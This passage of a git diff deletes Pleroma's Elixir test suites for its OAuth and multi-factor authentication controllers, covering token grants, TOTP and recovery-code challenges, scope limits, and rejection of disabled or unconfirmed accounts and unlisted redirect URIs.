_connection, _dn, ^password -> {:error, :invalidCredentials} end, - close: fn _connection -> - send(self(), :close_connection) - :ok - end - ]} - ] do - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"error" => "Invalid credentials"} = json_response(conn, 400) - assert_received :close_connection - end - end -end diff --git a/test/web/oauth/mfa_controller_test.exs b/test/web/oauth/mfa_controller_test.exs deleted file mode 100644 index 3c341facd..000000000 --- a/test/web/oauth/mfa_controller_test.exs +++ /dev/null @@ -1,306 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.MFAControllerTest do - use Pleroma.Web.ConnCase - import Pleroma.Factory - - alias Pleroma.MFA - alias Pleroma.MFA.BackupCodes - alias Pleroma.MFA.TOTP - alias Pleroma.Repo - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.OAuthController - - setup %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - backup_codes: [Pbkdf2.hash_pwd_salt("test-code")], - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - app = insert(:oauth_app) - {:ok, conn: conn, user: user, app: app} - end - - describe "show" do - setup %{conn: conn, user: user, app: app} do - mfa_token = - insert(:mfa_token, - user: user, - authorization: build(:oauth_authorization, app: app, scopes: ["write"]) - ) - - {:ok, conn: conn, mfa_token: mfa_token} - end - - test "GET /oauth/mfa renders mfa forms", %{conn: conn, mfa_token: mfa_token} do - conn = - get( - conn, - "/oauth/mfa", - %{ - "mfa_token" => mfa_token.token, - "state" => "a_state", - "redirect_uri" => "http://localhost:8080/callback" - } - ) - - assert response = html_response(conn, 200) - assert response =~ "Two-factor authentication" - assert response =~ mfa_token.token - assert response =~ "http://localhost:8080/callback" - end - - test "GET /oauth/mfa renders mfa recovery forms", %{conn: conn, mfa_token: mfa_token} do - conn = - get( - conn, - "/oauth/mfa", - %{ - "mfa_token" => mfa_token.token, - "state" => "a_state", - "redirect_uri" => "http://localhost:8080/callback", - "challenge_type" => "recovery" - } - ) - - assert response = html_response(conn, 200) - assert response =~ "Two-factor recovery" - assert response =~ mfa_token.token - assert response =~ "http://localhost:8080/callback" - end - end - - describe "verify" do - setup %{conn: conn, user: user, app: app} do - mfa_token = - insert(:mfa_token, - user: user, - authorization: build(:oauth_authorization, app: app, scopes: ["write"]) - ) - - {:ok, conn: conn, user: user, mfa_token: mfa_token, app: app} - end - - test "POST /oauth/mfa/verify, verify totp code", %{ - conn: conn, - user: user, - mfa_token: mfa_token, - app: app - } do - otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) - - conn = - conn - |> post("/oauth/mfa/verify", %{ - "mfa" => %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "totp", - "code" => otp_token, - "state" => "a_state", - "redirect_uri" => OAuthController.default_redirect_uri(app) - } - }) - - target = redirected_to(conn) - target_url = %URI{URI.parse(target) | query: nil} |> URI.to_string() - query = URI.parse(target).query |> URI.query_decoder() |> Map.new() - assert %{"state" => "a_state", "code" => code} = query - assert target_url == OAuthController.default_redirect_uri(app) - auth = Repo.get_by(Authorization, token: code) - assert auth.scopes == ["write"] - end - - test "POST /oauth/mfa/verify, verify recovery code", %{ - conn: conn, - mfa_token: mfa_token, - app: app - } do - conn = - conn - |> post("/oauth/mfa/verify", %{ - "mfa" => %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "recovery", - "code" => "test-code", - "state" => "a_state", - "redirect_uri" => OAuthController.default_redirect_uri(app) - } - }) - - target = redirected_to(conn) - target_url = %URI{URI.parse(target) | query: nil} |> URI.to_string() - query = URI.parse(target).query |> URI.query_decoder() |> Map.new() - assert %{"state" => "a_state", "code" => code} = query - assert target_url == OAuthController.default_redirect_uri(app) - auth = Repo.get_by(Authorization, token: code) - assert auth.scopes == ["write"] - end - end - - describe "challenge/totp" do - test "returns access token with valid code", %{conn: conn, user: user, app: app} do - otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) - - mfa_token = - insert(:mfa_token, - user: user, - authorization: build(:oauth_authorization, app: app, scopes: ["write"]) - ) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "totp", - "code" => otp_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(:ok) - - ap_id = user.ap_id - - assert match?( - %{ - "access_token" => _, - "expires_in" => 600, - "me" => ^ap_id, - "refresh_token" => _, - "scope" => "write", - "token_type" => "Bearer" - }, - response - ) - end - - test "returns errors when mfa token invalid", %{conn: conn, user: user, app: app} do - otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => "XXX", - "challenge_type" => "totp", - "code" => otp_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert response == %{"error" => "Invalid code"} - end - - test "returns error when otp code is invalid", %{conn: conn, user: user, app: app} do - mfa_token = insert(:mfa_token, user: user) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "totp", - "code" => "XXX", - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert response == %{"error" => "Invalid code"} - end - - test "returns error when client credentails is wrong ", %{conn: conn, user: user} do - otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) - mfa_token = insert(:mfa_token, user: user) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "totp", - "code" => otp_token, - "client_id" => "xxx", - "client_secret" => "xxx" - }) - |> json_response(400) - - assert response == %{"error" => "Invalid code"} - end - end - - describe "challenge/recovery" do - setup %{conn: conn} do - app = insert(:oauth_app) - {:ok, conn: conn, app: app} - end - - test "returns access token with valid code", %{conn: conn, app: app} do - otp_secret = TOTP.generate_secret() - - [code | _] = backup_codes = BackupCodes.generate() - - hashed_codes = - backup_codes - |> Enum.map(&Pbkdf2.hash_pwd_salt(&1)) - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - backup_codes: hashed_codes, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - mfa_token = - insert(:mfa_token, - user: user, - authorization: build(:oauth_authorization, app: app, scopes: ["write"]) - ) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "recovery", - "code" => code, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(:ok) - - ap_id = user.ap_id - - assert match?( - %{ - "access_token" => _, - "expires_in" => 600, - "me" => ^ap_id, - "refresh_token" => _, - "scope" => "write", - "token_type" => "Bearer" - }, - response - ) - - error_response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "recovery", - "code" => code, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert error_response == %{"error" => "Invalid code"} - end - end -end diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs deleted file mode 100644 index 1200126b8..000000000 --- a/test/web/oauth/oauth_controller_test.exs +++ /dev/null @@ -1,1232 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.OAuthControllerTest do - use Pleroma.Web.ConnCase - import Pleroma.Factory - - alias Pleroma.MFA - alias Pleroma.MFA.TOTP - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.OAuthController - alias Pleroma.Web.OAuth.Token - - @session_opts [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - setup do - clear_config([:instance, :account_activation_required]) - clear_config([:instance, :account_approval_required]) - end - - describe "in OAuth consumer mode, " do - setup do - [ - app: insert(:oauth_app), - conn: - build_conn() - |> Plug.Session.call(Plug.Session.init(@session_opts)) - |> fetch_session() - ] - end - - setup do: clear_config([:auth, :oauth_consumer_strategies], ~w(twitter facebook)) - - test "GET /oauth/authorize renders auth forms, including OAuth consumer form", %{ - app: app, - conn: conn - } do - conn = - get( - conn, - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read" - } - ) - - assert response = html_response(conn, 200) - assert response =~ "Sign in with Twitter" - assert response =~ o_auth_path(conn, :prepare_request) - end - - test "GET /oauth/prepare_request encodes parameters as `state` and redirects", %{ - app: app, - conn: conn - } do - conn = - get( - conn, - "/oauth/prepare_request", - %{ - "provider" => "twitter", - "authorization" => %{ - "scope" => "read follow", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state" - } - } - ) - - assert response = html_response(conn, 302) - - redirect_query = URI.parse(redirected_to(conn)).query - assert %{"state" => state_param} = URI.decode_query(redirect_query) - assert {:ok, state_components} = Poison.decode(state_param) - - expected_client_id = app.client_id - expected_redirect_uri = app.redirect_uris - - assert %{ - "scope" => "read follow", - "client_id" => ^expected_client_id, - "redirect_uri" => ^expected_redirect_uri, - "state" => "a_state" - } = state_components - end - - test "with user-bound registration, GET /oauth/<provider>/callback redirects to `redirect_uri` with `code`", - %{app: app, conn: conn} do - registration = insert(:registration) - redirect_uri = OAuthController.default_redirect_uri(app) - - state_params = %{ - "scope" => Enum.join(app.scopes, " "), - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "" - } - - conn = - conn - |> assign(:ueberauth_auth, %{provider: registration.provider, uid: registration.uid}) - |> get( - "/oauth/twitter/callback", - %{ - "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", - "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", - "provider" => "twitter", - "state" => Poison.encode!(state_params) - } - ) - - assert response = html_response(conn, 302) - assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ - end - - test "with user-unbound registration, GET /oauth/<provider>/callback renders registration_details page", - %{app: app, conn: conn} do - user = insert(:user) - - state_params = %{ - "scope" => "read write", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state" - } - - conn = - conn - |> assign(:ueberauth_auth, %{ - provider: "twitter", - uid: "171799000", - info: %{nickname: user.nickname, email: user.email, name: user.name, description: nil} - }) - |> get( - "/oauth/twitter/callback", - %{ - "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", - "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", - "provider" => "twitter", - "state" => Poison.encode!(state_params) - } - ) - - assert response = html_response(conn, 200) - assert response =~ ~r/name="op" type="submit" value="register"/ - assert response =~ ~r/name="op" type="submit" value="connect"/ - assert response =~ user.email - assert response =~ user.nickname - end - - test "on authentication error, GET /oauth/<provider>/callback redirects to `redirect_uri`", %{ - app: app, - conn: conn - } do - state_params = %{ - "scope" => Enum.join(app.scopes, " "), - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "" - } - - conn = - conn - |> assign(:ueberauth_failure, %{errors: [%{message: "(error description)"}]}) - |> get( - "/oauth/twitter/callback", - %{ - "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", - "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", - "provider" => "twitter", - "state" => Poison.encode!(state_params) - } - ) - - assert response = html_response(conn, 302) - assert redirected_to(conn) == app.redirect_uris - assert get_flash(conn, :error) == "Failed to authenticate: (error description)." - end - - test "GET /oauth/registration_details renders registration details form", %{ - app: app, - conn: conn - } do - conn = - get( - conn, - "/oauth/registration_details", - %{ - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state", - "nickname" => nil, - "email" => "john@doe.com" - } - } - ) - - assert response = html_response(conn, 200) - assert response =~ ~r/name="op" type="submit" value="register"/ - assert response =~ ~r/name="op" type="submit" value="connect"/ - end - - test "with valid params, POST /oauth/register?op=register redirects to `redirect_uri` with `code`", - %{ - app: app, - conn: conn - } do - registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) - redirect_uri = OAuthController.default_redirect_uri(app) - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post( - "/oauth/register", - %{ - "op" => "register", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "a_state", - "nickname" => "availablenick", - "email" => "available@email.com" - } - } - ) - - assert response = html_response(conn, 302) - assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ - end - - test "with unlisted `redirect_uri`, POST /oauth/register?op=register results in HTTP 401", - %{ - app: app, - conn: conn - } do - registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) - unlisted_redirect_uri = "http://cross-site-request.com" - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post( - "/oauth/register", - %{ - "op" => "register", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => unlisted_redirect_uri, - "state" => "a_state", - "nickname" => "availablenick", - "email" => "available@email.com" - } - } - ) - - assert response = html_response(conn, 401) - end - - test "with invalid params, POST /oauth/register?op=register renders registration_details page", - %{ - app: app, - conn: conn - } do - another_user = insert(:user) - registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) - - params = %{ - "op" => "register", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state", - "nickname" => "availablenickname", - "email" => "available@email.com" - } - } - - for {bad_param, bad_param_value} <- - [{"nickname", another_user.nickname}, {"email", another_user.email}] do - bad_registration_attrs = %{ - "authorization" => Map.put(params["authorization"], bad_param, bad_param_value) - } - - bad_params = Map.merge(params, bad_registration_attrs) - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post("/oauth/register", bad_params) - - assert html_response(conn, 403) =~ ~r/name="op" type="submit" value="register"/ - assert get_flash(conn, :error) == "Error: #{bad_param} has already been taken." - end - end - - test "with valid params, POST /oauth/register?op=connect redirects to `redirect_uri` with `code`", - %{ - app: app, - conn: conn - } do - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("testpassword")) - registration = insert(:registration, user: nil) - redirect_uri = OAuthController.default_redirect_uri(app) - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post( - "/oauth/register", - %{ - "op" => "connect", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "a_state", - "name" => user.nickname, - "password" => "testpassword" - } - } - ) - - assert response = html_response(conn, 302) - assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ - end - - test "with unlisted `redirect_uri`, POST /oauth/register?op=connect results in HTTP 401`", - %{ - app: app, - conn: conn - } do - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("testpassword")) - registration = insert(:registration, user: nil) - unlisted_redirect_uri = "http://cross-site-request.com" - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post( - "/oauth/register", - %{ - "op" => "connect", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => unlisted_redirect_uri, - "state" => "a_state", - "name" => user.nickname, - "password" => "testpassword" - } - } - ) - - assert response = html_response(conn, 401) - end - - test "with invalid params, POST /oauth/register?op=connect renders registration_details page", - %{ - app: app, - conn: conn - } do - user = insert(:user) - registration = insert(:registration, user: nil) - - params = %{ - "op" => "connect", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state", - "name" => user.nickname, - "password" => "wrong password" - } - } - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post("/oauth/register", params) - - assert html_response(conn, 401) =~ ~r/name="op" type="submit" value="connect"/ - assert get_flash(conn, :error) == "Invalid Username/Password" - end - end - - describe "GET /oauth/authorize" do - setup do - [ - app: insert(:oauth_app, redirect_uris: "https://redirect.url"), - conn: - build_conn() - |> Plug.Session.call(Plug.Session.init(@session_opts)) - |> fetch_session() - ] - end - - test "renders authentication page", %{app: app, conn: conn} do - conn = - get( - conn, - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read" - } - ) - - assert html_response(conn, 200) =~ ~s(type="submit") - end - - test "properly handles internal calls with `authorization`-wrapped params", %{ - app: app, - conn: conn - } do - conn = - get( - conn, - "/oauth/authorize", - %{ - "authorization" => %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read" - } - } - ) - - assert html_response(conn, 200) =~ ~s(type="submit") - end - - test "renders authentication page if user is already authenticated but `force_login` is tru-ish", - %{app: app, conn: conn} do - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read", - "force_login" => "true" - } - ) - - assert html_response(conn, 200) =~ ~s(type="submit") - end - - test "renders authentication page if user is already authenticated but user request with another client", - %{ - app: app, - conn: conn - } do - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => "another_client_id", - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read" - } - ) - - assert html_response(conn, 200) =~ ~s(type="submit") - end - - test "with existing authentication and non-OOB `redirect_uri`, redirects to app with `token` and `state` params", - %{ - app: app, - conn: conn - } do - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "specific_client_state", - "scope" => "read" - } - ) - - assert URI.decode(redirected_to(conn)) == - "https://redirect.url?access_token=#{token.token}&state=specific_client_state" - end - - test "with existing authentication and unlisted non-OOB `redirect_uri`, redirects without credentials", - %{ - app: app, - conn: conn - } do - unlisted_redirect_uri = "http://cross-site-request.com" - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => unlisted_redirect_uri, - "state" => "specific_client_state", - "scope" => "read" - } - ) - - assert redirected_to(conn) == unlisted_redirect_uri - end - - test "with existing authentication and OOB `redirect_uri`, redirects to app with `token` and `state` params", - %{ - app: app, - conn: conn - } do - token = insert(:oauth_token, app: app) - - conn = - conn - |> put_session(:oauth_token, token.token) - |> get( - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "scope" => "read" - } - ) - - assert html_response(conn, 200) =~ "Authorization exists" - end - end - - describe "POST /oauth/authorize" do - test "redirects with oauth authorization, " <> - "granting requested app-supported scopes to both admin- and non-admin users" do - app_scopes = ["read", "write", "admin", "secret_scope"] - app = insert(:oauth_app, scopes: app_scopes) - redirect_uri = OAuthController.default_redirect_uri(app) - - non_admin = insert(:user, is_admin: false) - admin = insert(:user, is_admin: true) - scopes_subset = ["read:subscope", "write", "admin"] - - # In case scope param is missing, expecting _all_ app-supported scopes to be granted - for user <- [non_admin, admin], - {requested_scopes, expected_scopes} <- - %{scopes_subset => scopes_subset, nil: app_scopes} do - conn = - post( - build_conn(), - "/oauth/authorize", - %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "test", - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "scope" => requested_scopes, - "state" => "statepassed" - } - } - ) - - target = redirected_to(conn) - assert target =~ redirect_uri - - query = URI.parse(target).query |> URI.query_decoder() |> Map.new() - - assert %{"state" => "statepassed", "code" => code} = query - auth = Repo.get_by(Authorization, token: code) - assert auth - assert auth.scopes == expected_scopes - end - end - - test "redirect to on two-factor auth page" do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - app = insert(:oauth_app, scopes: ["read", "write", "follow"]) - - conn = - build_conn() - |> post("/oauth/authorize", %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "test", - "client_id" => app.client_id, - "redirect_uri" => app.redirect_uris, - "scope" => "read write", - "state" => "statepassed" - } - }) - - result = html_response(conn, 200) - - mfa_token = Repo.get_by(MFA.Token, user_id: user.id) - assert result =~ app.redirect_uris - assert result =~ "statepassed" - assert result =~ mfa_token.token - assert result =~ "Two-factor authentication" - end - - test "returns 401 for wrong credentials", %{conn: conn} do - user = insert(:user) - app = insert(:oauth_app) - redirect_uri = OAuthController.default_redirect_uri(app) - - result = - conn - |> post("/oauth/authorize", %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "wrong", - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "statepassed", - "scope" => Enum.join(app.scopes, " ") - } - }) - |> html_response(:unauthorized) - - # Keep the details - assert result =~ app.client_id - assert result =~ redirect_uri - - # Error message - assert result =~ "Invalid Username/Password" - end - - test "returns 401 for missing scopes" do - user = insert(:user, is_admin: false) - app = insert(:oauth_app, scopes: ["read", "write", "admin"]) - redirect_uri = OAuthController.default_redirect_uri(app) - - result = - build_conn() - |> post("/oauth/authorize", %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "test", - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "statepassed", - "scope" => "" - } - }) - |> html_response(:unauthorized) - - # Keep the details - assert result =~ app.client_id - assert result =~ redirect_uri - - # Error message - assert result =~ "This action is outside the authorized scopes" - end - - test "returns 401 for scopes beyond app scopes hierarchy", %{conn: conn} do - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - redirect_uri = OAuthController.default_redirect_uri(app) - - result = - conn - |> post("/oauth/authorize", %{ - "authorization" => %{ - "name" => user.nickname, - "password" => "test", - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "statepassed", - "scope" => "read write follow" - } - }) - |> html_response(:unauthorized) - - # Keep the details - assert result =~ app.client_id - assert result =~ redirect_uri - - # Error message - assert result =~ "This action is outside the authorized scopes" - end - end - - describe "POST /oauth/token" do - test "issues a token for an all-body request" do - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "authorization_code", - "code" => auth.token, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token, "me" => ap_id} = json_response(conn, 200) - - token = Repo.get_by(Token, token: token) - assert token - assert token.scopes == auth.scopes - assert user.ap_id == ap_id - end - - test "issues a token for `password` grant_type with valid credentials, with full permissions by default" do - password = "testpassword" - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) - - app = insert(:oauth_app, scopes: ["read", "write"]) - - # Note: "scope" param is intentionally omitted - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token} = json_response(conn, 200) - - token = Repo.get_by(Token, token: token) - assert token - assert token.scopes == app.scopes - end - - test "issues a mfa token for `password` grant_type, when MFA enabled" do - password = "testpassword" - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - password_hash: Pbkdf2.hash_pwd_salt(password), - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - app = insert(:oauth_app, scopes: ["read", "write"]) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(403) - - assert match?( - %{ - "supported_challenge_types" => "totp", - "mfa_token" => _, - "error" => "mfa_required" - }, - response - ) - - token = Repo.get_by(MFA.Token, token: response["mfa_token"]) - assert token.user_id == user.id - assert token.authorization_id - end - - test "issues a token for request with HTTP basic auth client credentials" do - user = insert(:user) - app = insert(:oauth_app, scopes: ["scope1", "scope2", "scope3"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["scope1", "scope2"]) - assert auth.scopes == ["scope1", "scope2"] - - app_encoded = - (URI.encode_www_form(app.client_id) <> ":" <> URI.encode_www_form(app.client_secret)) - |> Base.encode64() - - conn = - build_conn() - |> put_req_header("authorization", "Basic " <> app_encoded) - |> post("/oauth/token", %{ - "grant_type" => "authorization_code", - "code" => auth.token, - "redirect_uri" => OAuthController.default_redirect_uri(app) - }) - - assert %{"access_token" => token, "scope" => scope} = json_response(conn, 200) - - assert scope == "scope1 scope2" - - token = Repo.get_by(Token, token: token) - assert token - assert token.scopes == ["scope1", "scope2"] - end - - test "issue a token for client_credentials grant type" do - app = insert(:oauth_app, scopes: ["read", "write"]) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "client_credentials", - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - assert scope == "read write" - end - - test "rejects token exchange with invalid client credentials" do - user = insert(:user) - app = insert(:oauth_app) - - {:ok, auth} = Authorization.create_authorization(app, user) - - conn = - build_conn() - |> put_req_header("authorization", "Basic JTIxOiVGMCU5RiVBNCVCNwo=") - |> post("/oauth/token", %{ - "grant_type" => "authorization_code", - "code" => auth.token, - "redirect_uri" => OAuthController.default_redirect_uri(app) - }) - - assert resp = json_response(conn, 400) - assert %{"error" => _} = resp - refute Map.has_key?(resp, "access_token") - end - - test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do - Pleroma.Config.put([:instance, :account_activation_required], true) - password = "testpassword" - - {:ok, user} = - insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) - |> User.confirmation_changeset(need_confirmation: true) - |> User.update_and_set_cache() - - refute Pleroma.User.account_status(user) == :active - - app = insert(:oauth_app) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert resp = json_response(conn, 403) - assert %{"error" => _} = resp - refute Map.has_key?(resp, "access_token") - end - - test "rejects token exchange for valid credentials belonging to deactivated user" do - password = "testpassword" - - user = - insert(:user, - password_hash: Pbkdf2.hash_pwd_salt(password), - deactivated: true - ) - - app = insert(:oauth_app) - - resp = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(403) - - assert resp == %{ - "error" => "Your account is currently disabled", - "identifier" => "account_is_disabled" - } - end - - test "rejects token exchange for user with password_reset_pending set to true" do - password = "testpassword" - - user = - insert(:user, - password_hash: Pbkdf2.hash_pwd_salt(password), - password_reset_pending: true - ) - - app = insert(:oauth_app, scopes: ["read", "write"]) - - resp = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(403) - - assert resp == %{ - "error" => "Password reset is required", - "identifier" => "password_reset_required" - } - end - - test "rejects token exchange for user with confirmation_pending set to true" do - Pleroma.Config.put([:instance, :account_activation_required], true) - password = "testpassword" - - user = - insert(:user, - password_hash: Pbkdf2.hash_pwd_salt(password), - confirmation_pending: true - ) - - app = insert(:oauth_app, scopes: ["read", "write"]) - - resp = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(403) - - assert resp == %{ - "error" => "Your login is missing a confirmed e-mail address", - "identifier" => "missing_confirmed_email" - } - end - - test "rejects token exchange for valid credentials belonging to an unapproved user" do - password = "testpassword" - - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password), approval_pending: true) - - refute Pleroma.User.account_status(user) == :active - - app = insert(:oauth_app) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert resp = json_response(conn, 403) - assert %{"error" => _} = resp - refute Map.has_key?(resp, "access_token") - end - - test "rejects an invalid authorization code" do - app = insert(:oauth_app) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "authorization_code", - "code" => "Imobviouslyinvalid", - "redirect_uri" => OAuthController.default_redirect_uri(app), - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert resp = json_response(conn, 400) - assert %{"error" => _} = json_response(conn, 400) - refute Map.has_key?(resp, "access_token") - end - end - - describe "POST /oauth/token - refresh token" do - setup do: clear_config([:oauth2, :issue_new_refresh_token]) - - test "issues a new access token with keep fresh token" do - Pleroma.Config.put([:oauth2, :issue_new_refresh_token], true) - user = insert(:user) - 